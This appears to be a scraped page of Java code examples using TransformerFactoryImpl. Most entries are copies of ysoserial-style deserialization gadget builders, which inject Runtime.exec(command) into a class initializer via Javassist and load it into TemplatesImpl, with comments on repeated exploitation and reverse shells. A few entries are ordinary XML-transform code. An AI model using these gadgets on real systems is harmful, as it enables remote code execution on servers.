com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl Java Examples

public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
	final TemplatesImpl templates = new TemplatesImpl();

	// use template gadget class
	ClassPool pool = ClassPool.getDefault();
	pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));
	final CtClass clazz = pool.get(StubTransletPayload.class.getName());
	// run command in static initializer
	// TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections
	clazz.makeClassInitializer().insertAfter("java.lang.Runtime.getRuntime().exec(\"" + command.replaceAll("\"", "\\\"") +"\");");
	// sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion)
	clazz.setName("ysoserial.Pwner" + System.nanoTime());

	final byte[] classBytes = clazz.toBytecode();

	// inject class bytes into instance
	Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
		classBytes,
		ClassFiles.classAsBytes(Foo.class)});

	// required to make TemplatesImpl happy
	Reflections.setFieldValue(templates, "_name", "Pwnr");
	Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
	return templates;
}
 

@Override
public boolean initialize(ResourceSpecifier aSpecifier, Map<String, Object> aAdditionalParams)
        throws ResourceInitializationException {
  boolean ret = super.initialize(aSpecifier, aAdditionalParams);
  String version = String.class.cast(getParameterValue("version"));
  String username = String.class.cast(getParameterValue("username"));
  String password = String.class.cast(getParameterValue("password"));
  String email = String.class.cast(getParameterValue("email"));
  conf = createConf(version, username, password, email, false, 0);
  xmlInputFactory = XMLInputFactory.newFactory();
  try {
    transformer = new TransformerFactoryImpl().newTransformer();
    transformer.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, "yes");
    transformer.setOutputProperty(OutputKeys.INDENT, "no");
    unmarshaller = JAXBContext.newInstance(MetaMapObject.class).createUnmarshaller();
  } catch (TransformerConfigurationException | JAXBException e) {
    throw new ResourceInitializationException();
  }
  return ret;
}
 

public static SAXTransformerFactory getSAXTransformFactory(boolean overrideDefaultParser) {
    SAXTransformerFactory tf = overrideDefaultParser
            ? (SAXTransformerFactory) SAXTransformerFactory.newInstance()
            : (SAXTransformerFactory) new TransformerFactoryImpl();
    try {
        tf.setFeature(OVERRIDE_PARSER, overrideDefaultParser);
    } catch (TransformerConfigurationException ex) {
        // ignore since it'd never happen with the JDK impl.
    }
    return tf;
}
 

public static Object createTemplatesImpl ( final String command ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
        return createTemplatesImpl(
            command,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 

public static Object createTemplatesImpl(final String[] args) throws ClassNotFoundException, IllegalAccessException, InstantiationException, IOException, CannotCompileException, NotFoundException, NoSuchFieldException, NoSuchMethodException, InvocationTargetException {
  if (Boolean.parseBoolean(System.getProperty("upstreamXalan", "false"))) {
    return createTemplatesImpl(
        args,
        Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
        Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
        Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
  }

  return createTemplatesImpl(args, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 

MetaMapConceptProvider(String version, String username, String password, String email,
        boolean silentOnError, int priority) throws ResourceInitializationException {
  conf = createConf(version, username, password, email, silentOnError, priority);
  xmlInputFactory = XMLInputFactory.newFactory();
  try {
    transformer = new TransformerFactoryImpl().newTransformer();
    transformer.setOutputProperty(OutputKeys.OMIT_XML_DECLARATION, "yes");
    transformer.setOutputProperty(OutputKeys.INDENT, "no");
    unmarshaller = JAXBContext.newInstance(MetaMapObject.class).createUnmarshaller();
  } catch (TransformerConfigurationException | JAXBException e) {
    throw new ResourceInitializationException();
  }
}
 

public static Object createTemplatesImpl ( final String[] args ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("upstreamXalan", "false")) ) {
        return createTemplatesImpl(
            args,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(args, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 

public static Object createTemplatesImpl ( final String[] command ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
        return createTemplatesImpl(
            command,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 

public static SAXTransformerFactory getSAXTransformFactory(boolean overrideDefaultParser) {
    SAXTransformerFactory tf = overrideDefaultParser
            ? (SAXTransformerFactory) SAXTransformerFactory.newInstance()
            : (SAXTransformerFactory) new TransformerFactoryImpl();
    try {
        tf.setFeature(OVERRIDE_PARSER, overrideDefaultParser);
    } catch (TransformerConfigurationException ex) {
        // ignore since it'd never happen with the JDK impl.
    }
    return tf;
}
 

public static SAXTransformerFactory getSAXTransformFactory(boolean overrideDefaultParser) {
    SAXTransformerFactory tf = overrideDefaultParser
            ? (SAXTransformerFactory) SAXTransformerFactory.newInstance()
            : (SAXTransformerFactory) new TransformerFactoryImpl();
    try {
        tf.setFeature(OVERRIDE_PARSER, overrideDefaultParser);
    } catch (TransformerConfigurationException ex) {
        // ignore since it'd never happen with the JDK impl.
    }
    return tf;
}
 

public static SAXTransformerFactory getSAXTransformFactory(boolean overrideDefaultParser) {
    SAXTransformerFactory tf = overrideDefaultParser
            ? (SAXTransformerFactory) SAXTransformerFactory.newInstance()
            : (SAXTransformerFactory) new TransformerFactoryImpl();
    try {
        tf.setFeature(OVERRIDE_PARSER, overrideDefaultParser);
    } catch (TransformerConfigurationException ex) {
        // ignore since it'd never happen with the JDK impl.
    }
    return tf;
}
 

public static Object createTemplatesImpl ( final String command ) throws Exception {
  if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
    return createTemplatesImpl(
        command,
        Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
        Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
        Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
  }

  return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 

public static Object createTemplatesImpl (final Class c, String... command) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
        return createTemplatesImpl(c,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"), command);
    }

    return createTemplatesImpl(c, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class, command);
}
 

public static Object createTemplatesImpl ( final String command ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
        return createTemplatesImpl(
            command,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 

public static Object createTemplatesImpl ( final String[] args ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("upstreamXalan", "false")) ) {
        return createTemplatesImpl(
            args,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(args, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 

public static Object createTemplatesImpl ( final String command ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
        return createTemplatesImpl(
            command,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 

public static Object createTemplatesImpl ( final String command ) throws Exception {
    if ( Boolean.parseBoolean(System.getProperty("properXalan", "false")) ) {
        return createTemplatesImpl(
            command,
            Class.forName("org.apache.xalan.xsltc.trax.TemplatesImpl"),
            Class.forName("org.apache.xalan.xsltc.runtime.AbstractTranslet"),
            Class.forName("org.apache.xalan.xsltc.trax.TransformerFactoryImpl"));
    }

    return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 

public static TemplatesImpl createTemplatesImpl(final String command) throws Exception {
    final TemplatesImpl templates = new TemplatesImpl();

    // use template gadget class

    // 获取容器ClassPool，注入classpath
    ClassPool pool = ClassPool.getDefault();
    System.out.println("insertClassPath: " + new ClassClassPath(StubTransletPayload.class));
    pool.insertClassPath(new ClassClassPath(StubTransletPayload.class));

    // 获取已经编译好的类
    System.out.println("ClassName: " + StubTransletPayload.class.getName());
    final CtClass clazz = pool.get(StubTransletPayload.class.getName());

    // 在静态的的构造方法中插入payload
    clazz.makeClassInitializer()
            .insertAfter("java.lang.Runtime.getRuntime().exec(\""
                    + command.replaceAll("\"", "\\\"")
                    + "\");");

    // 给payload类设置一个名称
    // unique name to allow repeated execution (watch out for PermGen exhaustion)
    clazz.setName("ysoserial.Pwner" + System.nanoTime());

    // 获取该类的字节码
    final byte[] classBytes = clazz.toBytecode();

    // inject class bytes into instance
    Reflections.setFieldValue(
            templates,
            "_bytecodes",
            new byte[][] {
                    classBytes,
                    ClassFiles.classAsBytes(Foo.class)
            });

    // required to make TemplatesImpl happy
    Reflections.setFieldValue(templates, "_name", "Pwnr");
    Reflections.setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

    // 只要触发这个方法就能执行我们注入的bytecodes
    // templates.getOutputProperties();
    return templates;
}
 

public static Object createTemplatesImpl(final String command)
    throws IllegalAccessException, InstantiationException, NotFoundException, CannotCompileException,
    IOException, ClassNotFoundException, NoSuchFieldException {
  return createTemplatesImpl(command, TemplatesImpl.class, AbstractTranslet.class, TransformerFactoryImpl.class);
}
 

/**
 * Creates a new instance of the {@code TransformerFactory} builtin
 * system-default implementation.
 *
 * @return A new instance of the {@code TransformerFactory} builtin
 *         system-default implementation.
 *
 * @since 9
 */
public static TransformerFactory newDefaultInstance() {
    return new TransformerFactoryImpl();
}
 

/**
 * Creates a new instance of the {@code TransformerFactory} builtin
 * system-default implementation.
 *
 * @return A new instance of the {@code TransformerFactory} builtin
 *         system-default implementation.
 *
 * @since 9
 */
public static TransformerFactory newDefaultInstance() {
    return TransformerFactoryImpl.newTransformerFactoryNoServiceLoader();
}